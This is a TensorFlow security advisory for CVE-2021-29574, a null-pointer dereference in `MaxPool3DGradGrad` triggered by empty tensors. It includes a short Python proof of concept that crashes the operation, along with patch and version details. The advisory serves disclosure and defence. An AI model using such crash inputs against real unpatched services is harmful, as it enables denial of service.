## TFSA-2021-063: Undefined behavior in `MaxPool3DGradGrad`

### CVE Number
CVE-2021-29574

### Impact
The implementation of `tf.raw_ops.MaxPool3DGradGrad` exhibits undefined behavior
by dereferencing null pointers backing attacker-supplied empty tensors:

```python
import tensorflow as tf

orig_input = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.MaxPool3DGradGrad(
    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
    strides=strides, padding=padding)
```

The
[implementation](https://github.com/tensorflow/tensorflow/blob/72fe792967e7fd25234342068806707bbc116618/tensorflow/core/kernels/pooling_ops_3d.cc#L679-L703)
fails to validate that the 3 tensor inputs are not empty. If any of them is
empty, then accessing the elements in the tensor results in dereferencing a
null pointer.

### Patches
We have patched the issue in GitHub commit
[a3d9f9be9ac2296615644061b40cefcee341dcc4](https://github.com/tensorflow/tensorflow/commit/a3d9f9be9ac2296615644061b40cefcee341dcc4).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu
X-Team.
